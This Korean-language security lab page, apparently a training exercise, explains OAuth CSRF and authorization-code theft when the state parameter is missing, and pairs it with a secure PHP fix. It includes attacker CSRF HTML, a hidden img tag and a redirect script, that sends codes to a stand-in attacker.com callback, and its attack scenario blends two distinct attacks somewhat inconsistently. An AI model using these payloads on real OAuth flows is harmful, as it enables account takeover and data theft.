OAuth CSRF + Authorization Code 탈취 (WEB-54)

WEB-54 OAuth CSRF

OAuth CSRF + Authorization Code 탈취:
OAuth 인증 흐름에서 state 파라미터는 CSRF 공격을 방지하는 중요한 요소입니다. state가 없거나 검증되지 않으면, 공격자가 CSRF 공격으로 Authorization Code를 탈취하여 다른 사용자의 인증을 자신의 계정으로 리다이렉션할 수 있습니다.

공격 시나리오

1. 정상 사용자 (피해자)
사용자가 App의 "Google로 로그인" 버튼 클릭

2. 공격자의 CSRF 공격
공격자가 이메일로 다음 링크를 전송:
<img src="https://oauth-server/authorize?client_id=attacker-app&redirect_uri=attacker.com&state=">
(또는 피해자 브라우저에서 자동 실행되는 JavaScript)

3. Authorization Code 생성
OAuth 서버가 Authorization Code 생성
피해자 브라우저: <img> 태그로 요청 (로딩 안 됨)
하지만 Authorization Code는 공격자 계정으로 리다이렉트

4. Code 교환
공격자가 Authorization Code를 Access Token으로 교환
결과: 공격자가 사용자의 데이터에 접근 가능

5. 최종 결과
피해자가 로그인했을 때 공격자 계정이 연결됨
피해자의 개인정보가 공격자 계정에 저장됨

Step 1: Authorization Code 요청 (state 없음)

⚠️ state 파라미터를 비워 CSRF 공격을 시뮬레이션합니다:

Step 2: Authorization Code 검증

공격자의 CSRF HTML (예시)

<!-- 공격자의 웹사이트 또는 이메일 -->
<img src="https://app-server/oauth/authorize?
  client_id=attacker-app&
  redirect_uri=https://attacker.com/callback&
  response_type=code&
  scope=email+profile"
  style="display:none;">

<!-- 또는 자동 리다이렉트 -->
<script>
window.location = "https://app-server/oauth/authorize?
  client_id=attacker-app&
  redirect_uri=https://attacker.com/callback&
  response_type=code";
</script>

안전한 구현

// Step 1: Authorization 요청 (안전한 방법)
$_SESSION['oauth_state'] = bin2hex(random_bytes(32));
header('Location: https://oauth-server/authorize?
  client_id=' . urlencode($client_id) . '&
  redirect_uri=' . urlencode($redirect_uri) . '&
  state=' . urlencode($_SESSION['oauth_state']));

// Step 2: Callback에서 state 검증
if ($_GET['state'] !== $_SESSION['oauth_state']) {
  throw new Exception('State mismatch - CSRF attack detected!');
}

// Step 3: Authorization Code 교환
$access_token = exchange_code($_GET['code']);